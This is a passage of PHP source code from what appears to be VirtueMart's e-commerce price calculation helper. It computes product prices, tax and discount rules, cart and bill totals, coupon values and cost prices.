$this->productPrices['basePrice']; $this->productPrices['priceBeforeTax'] = $priceBeforeTax; $this->productPrices['salesPrice'] = $this->roundInternal($this->executeCalculation($this->rules['Tax'], $priceBeforeTax, true),'salesPrice'); $salesPrice = !empty($this->productPrices['salesPrice']) ? $this->productPrices['salesPrice'] : $priceBeforeTax; $this->productPrices['taxAmount'] = $this->roundInternal($salesPrice - $priceBeforeTax); if(!empty($this->rules['VatTax'])){ $this->productPrices['salesPrice'] = $this->roundInternal($this->executeCalculation($this->rules['VatTax'], $salesPrice),'salesPrice'); $salesPrice = !empty($this->productPrices['salesPrice']) ? $this->productPrices['salesPrice'] : $salesPrice; } $this->rules['DATax'] = $this->gatherEffectingRulesForProductPrice('DATax', $this->product_discount_id); $this->productPrices['salesPriceWithDiscount'] = $this->roundInternal($this->executeCalculation($this->rules['DATax'], $salesPrice),'salesPriceWithDiscount'); // vmdebug('$$override salesPriceWithDiscount',$override,$this->productPrices['salesPriceWithDiscount'],$salesPrice); $this->productPrices['salesPrice'] = !empty($this->productPrices['salesPriceWithDiscount']) ? $this->productPrices['salesPriceWithDiscount'] : $salesPrice; $this->productPrices['salesPriceTemp'] = $this->productPrices['salesPrice']; //Okey, this may not the best place, but atm we handle the override price as salesPrice if ($override==1) { $this->productPrices['salesPrice'] = $product_override_price; // $this->productPrices['discountedPriceWithoutTax'] = $this->product_override_price; // $this->productPrices['salesPriceWithDiscount'] = $this->product_override_price; } else { } if(!empty($product->product_packaging) and $product->product_packaging!='0.0000'){ $this->productPrices['unitPrice'] = $this->productPrices['salesPrice']/$product->product_packaging; } else { $this->productPrices['unitPrice'] = 0.0; } if(!empty($this->rules['VatTax'])){ $this->_revert = true; $this->productPrices['priceWithoutTax'] = $this->productPrices['salesPrice'] - $this->productPrices['taxAmount']; $afterTax = $this->roundInternal($this->executeCalculation($this->rules['VatTax'], $this->productPrices['salesPrice']),'salesPrice'); if(!empty($afterTax)){ $this->productPrices['taxAmount'] = $this->productPrices['salesPrice'] - $afterTax; } $this->_revert = false; } // vmdebug('getProductPrices',$this->productPrices['salesPrice'],$this->product_override_price); //The whole discount Amount // $this->productPrices['discountAmount'] = $this->roundInternal($this->productPrices['basePrice'] + $this->productPrices['taxAmount'] - $this->productPrices['salesPrice']); $basePriceWithTax = !empty($this->productPrices['basePriceWithTax']) ? $this->productPrices['basePriceWithTax'] : $this->productPrices['basePrice']; //changed // $this->productPrices['discountAmount'] = $this->roundInternal($basePriceWithTax - $salesPrice); if(empty($this->rules['DBTax'])){ $this->productPrices['discountAmount'] = $this->roundInternal($basePriceWithTax - $this->productPrices['salesPrice']) * -1; } else { $this->productPrices['discountAmount'] = $this->roundInternal($this->productPrices['discountedPriceWithoutTax'] - $this->productPrices['basePriceVariant']) * -1; } //price Without Tax but with calculated discounts AFTER Tax. So it just shows how much the shopper saves, regardless which kind of tax // $this->productPrices['priceWithoutTax'] = $this->roundInternal($salesPrice - ($salesPrice - $discountedPrice)); // $this->productPrices['priceWithoutTax'] = $this->productPrices['salesPrice'] - $this->productPrices['taxAmount']; $this->productPrices['priceWithoutTax'] = $salesPrice - $this->productPrices['taxAmount']; if ($override==1 || $this->productPrices['discountedPriceWithoutTax'] == 0) { $this->productPrices['discountedPriceWithoutTax'] = $this->productPrices['salesPrice'] - $this->productPrices['taxAmount']; } if (!isset($this->productPrices['discountedPriceWithoutTax'])) $this->productPrices['discountedPriceWithoutTax'] = 0.0; $this->productPrices['variantModification'] = $variant; $this->productPrices['DBTax'] = array(); foreach($this->rules['DBTax'] as $dbtax){ $this->productPrices['DBTax'][$dbtax['virtuemart_calc_id']] = array($dbtax['calc_name'],$dbtax['calc_value'],$dbtax['calc_value_mathop'],$dbtax['calc_shopper_published'],$dbtax['calc_currency'],$dbtax['calc_params'], $dbtax['virtuemart_vendor_id'], $dbtax['virtuemart_calc_id']); } $this->productPrices['Tax'] = array(); foreach($this->rules['Tax'] as $tax){ $this->productPrices['Tax'][$tax['virtuemart_calc_id']] = array($tax['calc_name'],$tax['calc_value'],$tax['calc_value_mathop'],$tax['calc_shopper_published'],$tax['calc_currency'],$tax['calc_params'], $tax['virtuemart_vendor_id'], $tax['virtuemart_calc_id']); } $this->productPrices['VatTax'] = array(); foreach($this->rules['VatTax'] as $tax){ $this->productPrices['VatTax'][$tax['virtuemart_calc_id']] = array($tax['calc_name'],$tax['calc_value'],$tax['calc_value_mathop'],$tax['calc_shopper_published'],$tax['calc_currency'],$tax['calc_params'], $tax['virtuemart_vendor_id'], $tax['virtuemart_calc_id'],); } $this->productPrices['DATax'] = array(); foreach($this->rules['DATax'] as $datax){ $this->productPrices['DATax'][$datax['virtuemart_calc_id']] = array($datax['calc_name'],$datax['calc_value'],$datax['calc_value_mathop'],$datax['calc_shopper_published'],$datax['calc_currency'],$datax['calc_params'], $datax['virtuemart_vendor_id'], $datax['virtuemart_calc_id']); } if(!empty($this->rules['VatTax'])){ //vmdebug('!empty($this->rules["VatTax"]',$this->rules['VatTax']); if(empty($this->_cartData['VatTax'])){ $this->_cartData['VatTax'] = array(); } foreach($this->rules['VatTax'] as &$rule){ if(isset($this->_cartData['VatTax'][$rule['virtuemart_calc_id']])){ if(!isset($this->_cartData['VatTax'][$rule['virtuemart_calc_id']]['taxAmount'])) { $this->_cartData['VatTax'][$rule['virtuemart_calc_id']]['taxAmount'] = 0.0; $this->_cartData['VatTax'][$rule['virtuemart_calc_id']]['subTotal'] = 0.0; } $this->_cartData['VatTax'][$rule['virtuemart_calc_id']]['taxAmount'] += $this->productPrices['taxAmount'] * $this->_product->quantity; $this->_cartData['VatTax'][$rule['virtuemart_calc_id']]['subTotal'] += $this->productPrices['salesPrice'] * $this->_product->quantity; } else { $this->_cartData['VatTax'][$rule['virtuemart_calc_id']] = $rule; if(!isset($this->_cartData['VatTax'][$rule['virtuemart_calc_id']]['taxAmount'])) $this->_cartData['VatTax'][$rule['virtuemart_calc_id']]['taxAmount'] = $this->productPrices['taxAmount'] * $this->_product->quantity; if(!isset($this->_cartData['VatTax'][$rule['virtuemart_calc_id']]['subTotal'])) $this->_cartData['VatTax'][$rule['virtuemart_calc_id']]['subTotal'] = $this->productPrices['salesPrice'] * $this->_product->quantity; } //vmdebug('subtotal vattax id '.$rule['virtuemart_calc_id'].' = '.$this->_cartData['VatTax'][$rule['virtuemart_calc_id']]['taxAmount']); } } // vmdebug('getProductPrices',$this->productPrices); return $this->productPrices; } public function calculateCostprice($productId,$data){ $this->_revert = true; //vmdebug('calculationh.php calculateCostprice ',$data); //vmSetStartTime('calculateCostprice'); if(empty($data['product_currency'])){ $this->_db->setQuery('SELECT * FROM #__virtuemart_product_prices WHERE `virtuemart_product_id`="' . $productId . '" '); $row = $this->_db->loadAssoc(); if ($row) { if (!empty($row['product_price'])) { $this->productCurrency = $row['product_currency']; $this->product_tax_id = $row['product_tax_id']; $this->product_discount_id = $row['product_discount_id']; } else { vmdebug('cost Price empty, if child, everything okey, this is just a dev note'); return false; } } } else { $this->productCurrency = $data['product_currency']; $this->product_tax_id = $data['product_tax_id']; $this->product_discount_id = $data['product_discount_id']; } $this->_db->setQuery('SELECT `virtuemart_vendor_id` FROM #__virtuemart_products WHERE `virtuemart_product_id`="' . $productId . '" '); $single = $this->_db->loadResult(); $this->productVendorId = $single; if (empty($this->productVendorId)) { $this->productVendorId = 1; } $this->_db->setQuery('SELECT `virtuemart_category_id` FROM #__virtuemart_product_categories WHERE `virtuemart_product_id`="' . $productId . '" '); $this->_cats = $this->_db->loadResultArray(); // vmTime('getProductPrices no object given query time','getProductCalcs'); if(VmConfig::get('multix','none')!='none' and empty($this->vendorCurrency )){ $this->_db->setQuery('SELECT `vendor_currency` FROM #__virtuemart_vendors WHERE `virtuemart_vendor_id`="' . $this->productVendorId . '" '); $single = $this->_db->loadResult(); $this->vendorCurrency = $single; } if (!empty($amount)) { $this->_amount = $amount; } //$this->setCountryState($this->_cart); $this->rules['Marge'] = $this->gatherEffectingRulesForProductPrice('Marge', $this->product_marge_id); $this->rules['Tax'] = $this->gatherEffectingRulesForProductPrice('Tax', $this->product_tax_id); $this->rules['VatTax'] = $this->gatherEffectingRulesForProductPrice('VatTax', $this->product_tax_id); $this->rules['DBTax'] = $this->gatherEffectingRulesForProductPrice('DBTax', $this->product_discount_id); $this->rules['DATax'] = $this->gatherEffectingRulesForProductPrice('DATax', $this->product_discount_id); $salesPrice = $data['salesPrice']; $withoutVatTax = $this->roundInternal($this->executeCalculation($this->rules['VatTax'], $salesPrice)); $withoutVatTax = !empty($withoutVatTax) ? $withoutVatTax : $salesPrice; vmdebug('calculateCostprice',$salesPrice,$withoutVatTax, $data); $withDiscount = $this->roundInternal($this->executeCalculation($this->rules['DATax'], $withoutVatTax)); $withDiscount = !empty($withDiscount) ? $withDiscount : $withoutVatTax; // vmdebug('Entered final price '.$salesPrice.' discount '.$withDiscount); $withTax = $this->roundInternal($this->executeCalculation($this->rules['Tax'], $withDiscount)); $withTax = !empty($withTax) ? $withTax : $withDiscount; $basePriceP = $this->roundInternal($this->executeCalculation($this->rules['DBTax'], $withTax)); $basePriceP = !empty($basePriceP) ? $basePriceP : $withTax; $basePrice = $this->roundInternal($this->executeCalculation($this->rules['Marge'], $basePriceP)); $basePrice = !empty($basePrice) ? $basePrice : $basePriceP; $productCurrency = CurrencyDisplay::getInstance(); $costprice = $productCurrency->convertCurrencyTo( $this->productCurrency, $basePrice,false); $this->_revert = false; //vmdebug('calculateCostprice',$salesPrice,$costprice, $data); return $costprice; } public function setRevert($revert){ $this->_revert = $revert; } protected function fillVoidPrices(&$prices) { if (!isset($prices['basePrice'])) $prices['basePrice'] = null; if (!isset($prices['basePriceVariant'])) $prices['basePriceVariant'] = null; if (!isset($prices['basePriceWithTax'])) $prices['basePriceWithTax'] = null; if (!isset($prices['discountedPriceWithoutTax'])) $prices['discountedPriceWithoutTax'] = null; if (!isset($prices['priceBeforeTax'])) $prices['priceBeforeTax'] = null; if (!isset($prices['taxAmount'])) $prices['taxAmount'] = null; if (!isset($prices['salesPriceWithDiscount'])) $prices['salesPriceWithDiscount'] = null; if (!isset($prices['salesPriceTemp'])) $prices['salesPriceTemp'] = null; if (!isset($prices['salesPrice'])) $prices['salesPrice'] = null; if (!isset($prices['discountAmount'])) $prices['discountAmount'] = null; if (!isset($prices['priceWithoutTax'])) $prices['priceWithoutTax'] = null; if (!isset($prices['variantModification'])) $prices['variantModification'] = null; if (!isset($prices['unitPrice'])) $prices['unitPrice'] = null; return $prices; } /** function to start the calculation, here it is for the invoice in the checkout * This function is partly implemented ! * * The function calls getProductPrices for every product except it is already known (maybe changed and adjusted with product amount value * The single prices gets added in an array and already summed up. * * Then simular to getProductPrices first the effecting rules are determined and calculated. * Ah function to determine the coupon that effects the calculation is already implemented. But not completly in the calculation. * * Subtotal + Tax + Discount = Total * * @copyright Copyright (c) 2009 VirtueMart Team. All rights reserved. * @author Max Milbers * @param int $productIds The Ids of the products * @param int $cartVendorId The Owner of the cart, this can be ignored in vm1.5 * @return int $prices An array of the prices * 'resultWithOutTax' The summed up baseprice of all products * 'resultWithTax' The final price of all products with their tax, discount and so on * 'discountBeforeTax' discounted price without tax which affects only the checkout (the tax of the products is in it) * 'discountWithTax' discounted price taxed * 'discountAfterTax' final result * */ // function getCheckoutPrices($productIds,$variantMods=array(), $cartVendorId=1,$couponId=0,$shipId=0,$paymId=0){ public function getCheckoutPrices($cart, $checkAutomaticSelected=true) { if(isset($this->_cartPrices) and is_array($this->_cartPrices) and count($this->_cartPrices)>0 and isset($this->_cartData['totalProduct']) and $this->_cartData['totalProduct']==count($cart->products) and $cart->couponCode == $this->couponCode and $checkAutomaticSelected ===$this->_checkAutomaticSelected ){ return $this->_cartPrices; } $this->_checkAutomaticSelected = $checkAutomaticSelected; $this->_cart = $cart; $this->couponCode = $cart->couponCode; $this->inCart = TRUE; $pricesPerId = array(); $this->_cartPrices = array(); $this->_cartData = array(); $resultWithTax = 0.0; $resultWithOutTax = 0.0; $this->_cartData['VatTax'] = array(); $this->_cartPrices['basePrice'] = 0; $this->_cartPrices['basePriceWithTax'] = 0; $this->_cartPrices['discountedPriceWithoutTax'] = 0; $this->_cartPrices['salesPrice'] = 0; $this->_cartPrices['taxAmount'] = 0; $this->_cartPrices['salesPriceWithDiscount'] = 0; $this->_cartPrices['discountAmount'] = 0; $this->_cartPrices['priceWithoutTax'] = 0; $this->_cartPrices['subTotalProducts'] = 0; $this->_cartData['duty'] = 1; $this->_cartData['payment'] = 0; //could be automatically set to a default set in the globalconfig $this->_cartData['paymentName'] = ''; $cartpaymentTax = 0; $this->setCountryState($cart); $this->_amountCart = 0; $this->_cartData['totalProduct'] = count($cart->products); foreach ($cart->products as $name => $product) { //$product = $productModel->getProduct($product->virtuemart_product_id,false,false,true); $productId = $product->virtuemart_product_id; if (empty($product->quantity) || empty($product->virtuemart_product_id)) { JError::raiseWarning(710, 'Error the quantity of the product for calculation is 0, please notify the shopowner, the product id ' . $product->virtuemart_product_id); continue; } $this->productCurrency = isset($product->product_currency)? $product->product_currency:0; $variantmods = $this->parseModifier($name); $variantmod = $this->calculateModificators($product, $variantmods); $cartproductkey = $name; //$product->virtuemart_product_id.$variantmod; $product->prices = $pricesPerId[$cartproductkey] = $this->getProductPrices($product, $variantmod, $product->quantity, true, false); $this->_amountCart += $product->quantity; $this->_cartPrices[$cartproductkey] = $product->prices; if($this->_currencyDisplay->_priceConfig['basePrice']) $this->_cartPrices['basePrice'] += self::roundInternal($product->prices['basePrice'],'basePrice') * $product->quantity; // $this->_cartPrices['basePriceVariant'] = $this->_cartPrices['basePriceVariant'] + $pricesPerId[$product->virtuemart_product_id]['basePriceVariant']*$product->quantity; if($this->_currencyDisplay->_priceConfig['basePriceWithTax']) $this->_cartPrices['basePriceWithTax'] += self::roundInternal($product->prices['basePriceWithTax']) * $product->quantity; if($this->_currencyDisplay->_priceConfig['discountedPriceWithoutTax']) $this->_cartPrices['discountedPriceWithoutTax'] += self::roundInternal($product->prices['discountedPriceWithoutTax'],'discountedPriceWithoutTax') * $product->quantity; if($this->_currencyDisplay->_priceConfig['salesPrice']){ $this->_cartPrices[$cartproductkey]['subtotal_with_tax'] = self::roundInternal($product->prices['salesPrice'],'salesPrice') * $product->quantity; $this->_cartPrices['salesPrice'] += $this->_cartPrices[$cartproductkey]['subtotal_with_tax']; } if($this->_currencyDisplay->_priceConfig['taxAmount']){ $this->_cartPrices[$cartproductkey]['subtotal_tax_amount'] = self::roundInternal($product->prices['taxAmount'],'taxAmount') * $product->quantity; $this->_cartPrices['taxAmount'] += $this->_cartPrices[$cartproductkey]['subtotal_tax_amount']; } if($this->_currencyDisplay->_priceConfig['salesPriceWithDiscount']) $this->_cartPrices['salesPriceWithDiscount'] += self::roundInternal($product->prices['salesPriceWithDiscount'],'salesPriceWithDiscount') * $product->quantity; if($this->_currencyDisplay->_priceConfig['discountAmount']){ $this->_cartPrices[$cartproductkey]['subtotal_discount'] = self::roundInternal($product->prices['discountAmount'],'discountAmount') * $product->quantity; $this->_cartPrices['discountAmount'] += $this->_cartPrices[$cartproductkey]['subtotal_discount']; } if($this->_currencyDisplay->_priceConfig['priceWithoutTax']) { $this->_cartPrices[$cartproductkey]['subtotal'] = self::roundInternal($product->prices['priceWithoutTax'],'priceWithoutTax') * $product->quantity; $this->_cartPrices['priceWithoutTax'] += $this->_cartPrices[$cartproductkey]['subtotal']; } } $this->_product = null; $this->_cartData['DBTaxRulesBill'] = $this->gatherEffectingRulesForBill('DBTaxBill'); $this->_cartData['taxRulesBill'] = $this->gatherEffectingRulesForBill('TaxBill'); $this->_cartData['DATaxRulesBill'] = $this->gatherEffectingRulesForBill('DATaxBill'); $this->_cartPrices['salesPriceDBT'] = array(); $this->_cartPrices['taxRulesBill'] = array(); $this->_cartPrices['DATaxRulesBill'] = array(); foreach ($cart->products as $cartproductkey => $product) { //for Rules with Categories foreach($this->_cartData['DBTaxRulesBill'] as &$dbrule){ if(!empty($dbrule['calc_categories'])){ if(!isset($dbrule['subTotal'])) $dbrule['subTotal'] = 0.0; $set = array_intersect($dbrule['calc_categories'],$product->categories); if(count($set)>0){ //foreach($set as $s){ $dbrule['subTotal'] += $this->_cartPrices[$cartproductkey]['subtotal_with_tax']; vmdebug('DB Rule '.$dbrule['calc_name'].' is per category subTotal '.$dbrule['subTotal']); // subarray with subTotal for each taxID necessary to calculate tax correct if there are more than one VatTaxes if(!isset($dbrule['subTotalPerTaxID'])) $dbrule['subTotalPerTaxID'] = array(); if($product->product_tax_id != 0) { if(!isset($dbrule['subTotalPerTaxID'][$product->product_tax_id])) $dbrule['subTotalPerTaxID'][$product->product_tax_id] = 0.0; $dbrule['subTotalPerTaxID'][$product->product_tax_id] += $this->_cartPrices[$cartproductkey]['subtotal_with_tax']; } else { foreach($this->allrules[$product->virtuemart_vendor_id]['VatTax'] as $virtuemart_calc_id => $rule){ $set = array_intersect($rule['cats'],$product->categories); if(count($set)>0){ if(!isset($dbrule['subTotalPerTaxID'][$virtuemart_calc_id])) $dbrule['subTotalPerTaxID'][$virtuemart_calc_id] = 0.0; $dbrule['subTotalPerTaxID'][$virtuemart_calc_id] += $this->_cartPrices[$cartproductkey]['subtotal_with_tax']; } } } //} } } } // subTotal for each taxID necessary, equal if calc_categories exists ore not if(!empty($this->_cartData['taxRulesBill'])) { foreach($this->_cartData['taxRulesBill'] as $k=>&$trule){ if(!isset($trule['subTotal'])) $trule['subTotal'] = 0.0; if($product->product_tax_id != 0) { if($product->product_tax_id == $k) { $trule['subTotal']+= $this->_cartPrices[$cartproductkey]['subtotal_with_tax']; } } elseif(!empty($trule['calc_categories'])){ $set = array_intersect($trule['calc_categories'],$product->categories); if(count($set)>0){ $trule['subTotal'] += $this->_cartPrices[$cartproductkey]['subtotal_with_tax']; vmdebug('DB Rule '.$trule['calc_name'].' is per category subTotal '.$trule['subTotal']); } } else { $trule['subTotal'] += $this->_cartPrices[$cartproductkey]['subtotal_with_tax']; } } } /* foreach($this->_cartData['taxRulesBill'] as $k=>&$trule){ if(!empty($trule['calc_categories'])){ if(!isset($trule['subTotal'])) $trule['subTotal'] = 0.0; $set = array_intersect($trule['calc_categories'],$product->categories); if(count($set)>0){ //foreach($set as $s){ $trule['subTotal'] += $this->_cartPrices[$cartproductkey]['subtotal_with_tax']; vmdebug('DB Rule '.$trule['calc_name'].' is per category subTotal '.$trule['subTotal']); //} } } } */ foreach($this->_cartData['DATaxRulesBill'] as &$darule){ if(!empty($darule['calc_categories'])){ if(!isset($darule['subTotal'])) $darule['subTotal'] = 0.0; $set = array_intersect($darule['calc_categories'],$product->categories); if(count($set)>0){ if(!isset($darule['subTotal'])) $darule['subTotal'] = 0.0; //foreach($set as $s){ $darule['subTotal'] += $this->_cartPrices[$cartproductkey]['subtotal_with_tax']; //} } } } } // Calculate the discount from all rules before tax to calculate billTotal $cartdiscountBeforeTax = $this->roundInternal($this->cartRuleCalculation($this->_cartData['DBTaxRulesBill'], $this->_cartPrices['salesPrice'])); // We need the discount per category for each taxID to reduce the total discount before calculate percentage from hole cart discounts $categorydiscountBeforeTax = 0; foreach ($this->_cartData['DBTaxRulesBill'] as &$rule) { if (!empty($rule['subTotalPerTaxID'])) { foreach ($rule['subTotalPerTaxID'] as $k=>$DBTax) { $this->roundInternal($this->cartRuleCalculation($this->_cartData['DBTaxRulesBill'], $this->_cartPrices['salesPrice'], $k, true)); if (!empty($this->_cartData['VatTax'][$k]['DBTax'][$rule['virtuemart_calc_id'] . 'DBTax'])) { $categorydiscountBeforeTax += $this->_cartData['VatTax'][$k]['DBTax'][$rule['virtuemart_calc_id'] . 'DBTax']; } // vmdebug('$categorydiscountBeforeTax',$categorydiscountBeforeTax); } } } // combine the discounts before tax for each taxID foreach ($this->_cartData['VatTax'] as &$rule) { if (!empty($rule['DBTax'])) { $sum = 0; foreach ($rule['DBTax'] as $key=>$val) { $sum += $val; } $rule['DBTax'] = $sum; } } // calculate the new subTotal with discounts before tax, necessary for billTotal $toTax = $this->_cartPrices['salesPrice'] + $cartdiscountBeforeTax; //Avalara wants to calculate the tax of the shipment. Only disadvantage to set shipping here is that the discounts per bill respectivly the tax per bill // is not considered. $this->calculateShipmentPrice($cart, $checkAutomaticSelected); // next step is handling a coupon, if given $this->_cartData['vmVat'] = TRUE; $this->_cartPrices['salesPriceCoupon'] = 0.0; if (!empty($cart->couponCode)) { $this->couponHandler($cart->couponCode); } // now calculate the discount for hole cart and reduce subTotal for each taxRulesBill, to calculate correct tax, also if there are more than one tax rules $totalDiscountBeforeTax = $cartdiscountBeforeTax - $categorydiscountBeforeTax + $this->_cartPrices['salesPriceCoupon']; foreach ($this->_cartData['taxRulesBill'] as $k=>&$rule) { if(!empty($rule['subTotal'])) { $rule['percentage'] = $rule['subTotal'] / $this->_cartPrices['salesPrice']; if (isset($this->_cartData['VatTax'][$k]['DBTax'])) { $rule['subTotal'] += $this->_cartData['VatTax'][$k]['DBTax']; } $rule['subTotal'] += $totalDiscountBeforeTax * $rule['percentage']; } } // now each taxRule subTotal is reduced with DBTax and we can calculate the cartTax $cartTax = $this->roundInternal($this->cartRuleCalculation($this->_cartData['taxRulesBill'], $toTax)); // toDisc is new subTotal after tax, now it comes discount afterTax and we can calculate the final cart price with tax. $toDisc = $toTax + $cartTax; $cartdiscountAfterTax = $this->roundInternal($this->cartRuleCalculation($this->_cartData['DATaxRulesBill'], $toDisc)); $this->_cartPrices['withTax'] = $toDisc + $cartdiscountAfterTax; $this->calculatePaymentPrice($cart, $checkAutomaticSelected); // $sub =!empty($this->_cartPrices['discountedPriceWithoutTax'])? $this->_cartPrices['discountedPriceWithoutTax']:$this->_cartPrices['basePrice']; if($this->_currencyDisplay->_priceConfig['salesPrice']) $this->_cartPrices['billSub'] = $this->_cartPrices['basePrice'] + $this->_cartPrices['shipmentValue'] + $this->_cartPrices['paymentValue']; // $this->_cartPrices['billSub'] = $sub + $this->_cartPrices['shipmentValue'] + $this->_cartPrices['paymentValue']; if($this->_currencyDisplay->_priceConfig['discountAmount']) $this->_cartPrices['billDiscountAmount'] = $this->_cartPrices['discountAmount'] + $cartdiscountBeforeTax + $cartdiscountAfterTax;// + $this->_cartPrices['shipmentValue'] + $this->_cartPrices['paymentValue'] ; if($this->_cartPrices['salesPriceShipment'] < 0) $this->_cartPrices['billDiscountAmount'] += $this->_cartPrices['salesPriceShipment']; if($this->_cartPrices['salesPricePayment'] < 0) $this->_cartPrices['billDiscountAmount'] += $this->_cartPrices['salesPricePayment']; if($this->_currencyDisplay->_priceConfig['taxAmount']) $this->_cartPrices['billTaxAmount'] = $this->_cartPrices['taxAmount'] + $this->_cartPrices['shipmentTax'] + $this->_cartPrices['paymentTax'] + $cartTax; //+ $this->_cartPrices['withTax'] - $toTax //The coupon handling is only necessary if a salesPrice is displayed, otherwise we have a kind of catalogue mode if($this->_currencyDisplay->_priceConfig['salesPrice']){ $this->_cartPrices['billTotal'] = $this->_cartPrices['salesPriceShipment'] + $this->_cartPrices['salesPricePayment'] + $this->_cartPrices['withTax'] + $this->_cartPrices['salesPriceCoupon']; if($this->_cartPrices['billTotal'] < 0){ $this->_cartPrices['billTotal'] = 0.0; } if($this->_cartData['vmVat'] and (!empty($cartdiscountBeforeTax) and isset($this->_cartData['VatTax']) and count($this->_cartData['VatTax'])>0) or !empty($cart->couponCode)){ //$this->_revert = true; $allTotalTax = 0.0; $totalDiscount = $cartdiscountBeforeTax - $categorydiscountBeforeTax + $this->_cartPrices['salesPriceCoupon']; // vmdebug(' salesPriceCoupon = '. $this->_cartPrices['salesPriceCoupon'].' billDiscountAmount = '.$this->_cartPrices['billDiscountAmount']); foreach($this->_cartData['VatTax'] as &$vattax){ //$vattax['DBTax'] = var_dump(array_sum($vattax['DBTax'])); if (isset($vattax['subTotal'])) { $vattax['percentage'] = $vattax['subTotal'] / $this->_cartPrices['salesPrice']; } $vattax['DBTax'] = isset($vattax['DBTax']) ? $vattax['DBTax'] : 0; if (isset($vattax['calc_value']) && isset($vattax['percentage'])) { $vattax['discountTaxAmount'] = round(($totalDiscount * $vattax['percentage'] + $vattax['DBTax']) / (100 + $vattax['calc_value']) * $vattax['calc_value'],$this->_currencyDisplay->_priceConfig['taxAmount'][1]); } //$vattax['subTotal'] = $vattax['subTotal'] - $vattax['percentage'] * $totalDiscount; if (isset($vattax['discountTaxAmount'])) $this->_cartPrices['billTaxAmount'] += $vattax['discountTaxAmount']; $allTotalTax += $totalDiscount; //$this->_cartPrices['billTaxAmount'] += $vattax['subTotal']; //vmdebug('my vattax recalc data the percentage = '.$vattax['percentage'].' salesPrice = '.$this->_cartPrices['salesPrice'].' $totalDiscount = '. $totalDiscount.' subtotal = '.$vattax['subTotal']); } } if($this->_cartPrices['billTaxAmount'] < 0){ $this->_cartPrices['billTaxAmount'] = 0.0; } } //Calculate VatTax result if ($this->_cartPrices['shipment_calc_id']) $this->_cartData['VatTax'][$this->_cartPrices['shipment_calc_id']]['shipmentTax'] = $this->_cartPrices['shipmentTax']; if ($this->_cartPrices['payment_calc_id']) $this->_cartData['VatTax'][$this->_cartPrices['payment_calc_id']]['paymentTax'] = $this->_cartPrices['paymentTax']; foreach($this->_cartData['VatTax'] as $k=>&$vattax){ $vattax['result'] = isset($vattax['taxAmount']) ? $vattax['taxAmount'] : 0; if (isset($vattax['discountTaxAmount'])) $vattax['result'] += $vattax['discountTaxAmount']; if (isset($vattax['shipmentTax'])) $vattax['result'] += $vattax['shipmentTax']; if (isset($vattax['paymentTax'])) $vattax['result'] += $vattax['paymentTax']; if (!isset($vattax['virtuemart_calc_id'])) $vattax['virtuemart_calc_id'] = $this->getCalcRuleData($k)->virtuemart_calc_id; if (!isset($vattax['calc_name'])) $vattax['calc_name'] = $this->getCalcRuleData($k)->calc_name; if (!isset($vattax['calc_value'])) $vattax['calc_value'] = $this->getCalcRuleData($k)->calc_value; } foreach ($this->_cartData['taxRulesBill'] as $k=>&$rule) { $this->_cartData['VatTax'][$k]['result'] = isset($this->_cartData['VatTax'][$k]['result']) ? $this->_cartData['VatTax'][$k]['result'] : 0; $this->_cartData['VatTax'][$k]['result'] += round($this->_cartPrices[$rule['virtuemart_calc_id'] . 'Diff'],$this->_currencyDisplay->_priceConfig['salesPrice'][1]); if(!isset($this->_cartData['VatTax'][$k]['virtuemart_calc_id'])) $this->_cartData['VatTax'][$k]['virtuemart_calc_id'] = $rule['virtuemart_calc_id']; if(!isset($this->_cartData['VatTax'][$k]['calc_name'])) $this->_cartData['VatTax'][$k]['calc_name'] = $rule['calc_name']; if(!isset($this->_cartData['VatTax'][$k]['calc_value'])) $this->_cartData['VatTax'][$k]['calc_value'] = $rule['calc_value']; } //$this->_cartData['taxRulesBill'] = array_merge($this->_cartData['taxRulesBill'],$this->_cartData['VatTax']); //vmdebug('$this->_cartData',$this->_cartData); //vmdebug('$this->_cartPrices',$this->_cartPrices); return $this->_cartPrices; } /** * Get the data of the CalcRule ID if it is not there * @author Maik Kuennemann * @param $VatTaxID ID of the taxe rule */ protected function getCalcRuleData($calcRuleID) { $q = 'SELECT * FROM #__virtuemart_calcs WHERE `virtuemart_calc_id`="' . $calcRuleID . '"'; $this->_db->setQuery($q); $calcRule = $this->_db->loadObject(); return $calcRule; } /** * Get coupon details and calculate the value * @author Oscar van Eijk * @param $_code Coupon code */ protected function couponHandler($_code) { JPluginHelper::importPlugin('vmcoupon'); $dispatcher = JDispatcher::getInstance(); $returnValues = $dispatcher->trigger('plgVmCouponHandler', array($_code,&$this->_cartData, &$this->_cartPrices)); if(!empty($returnValues)){ foreach ($returnValues as $returnValue) { if ($returnValue !== null ) { return $returnValue; } } } if (!class_exists('CouponHelper')) require(JPATH_VM_SITE . DS . 'helpers' . DS . 'coupon.php'); if (!($_data = CouponHelper::getCouponDetails($_code))) { return; // TODO give some error here } $_value_is_total = ($_data->percent_or_total == 'total'); $this->_cartData['couponCode'] = $_code; $this->_cartData['couponDescr'] = ($_value_is_total ? '' : (round($_data->coupon_value) . '%') ); $this->_cartPrices['salesPriceCoupon'] = ($_value_is_total ? $_data->coupon_value * -1 : ($this->_cartPrices['salesPrice'] * ($_data->coupon_value / 100)) * -1 ); // TODO Calculate the tax $this->_cartPrices['couponTax'] = 0; $this->_cartPrices['couponValue'] = $this->_cartPrices['salesPriceCoupon'] - $this->_cartPrices['couponTax']; //$this->_cartPrices['billTotal'] -= $this->_cartPrices['salesPriceCoupon']; //if($this->_cartPrices['billTotal'] < 0){ // $this->_cartPrices['billTotal'] = 0.0; //} } /** * Function to calculate discount/tax of cart rules. * * @copyright Copyright (c) 2009 VirtueMart Team. All rights reserved. * @author Max Milbers, Maik Künnemann * * @return int $price the discount/tax */ function cartRuleCalculation($rules, $baseprice, $TaxID = 0, $DBTax = false) { if (empty($rules))return 0; $rulesEffSorted = $this->record_sort($rules, 'ordering',$this->_revert); if (isset($rulesEffSorted)) { $discount = 0; foreach ($rulesEffSorted as &$rule) { if(isset($rule['subTotal'])) { $cIn = $rule['subTotal']; } else { $cIn = $baseprice; } $cOut = $this->interpreteMathOp($rule, $cIn); $this->_cartPrices[$rule['virtuemart_calc_id'] . 'Diff'] = $this->roundInternal($this->roundInternal($cOut) - $cIn); $discount += round($this->_cartPrices[$rule['virtuemart_calc_id'] . 'Diff'],$this->_currencyDisplay->_priceConfig['salesPrice'][1]); if(isset($rule['subTotal']) and $TaxID != 0 and $DBTax = true) { if(isset($rule['subTotalPerTaxID'][$TaxID])) { $cIn = $rule['subTotalPerTaxID'][$TaxID]; $cOut = $this->interpreteMathOp($rule, $cIn); $this->_cartData['VatTax'][$TaxID]['DBTax'][$rule['virtuemart_calc_id'] . 'DBTax'] = 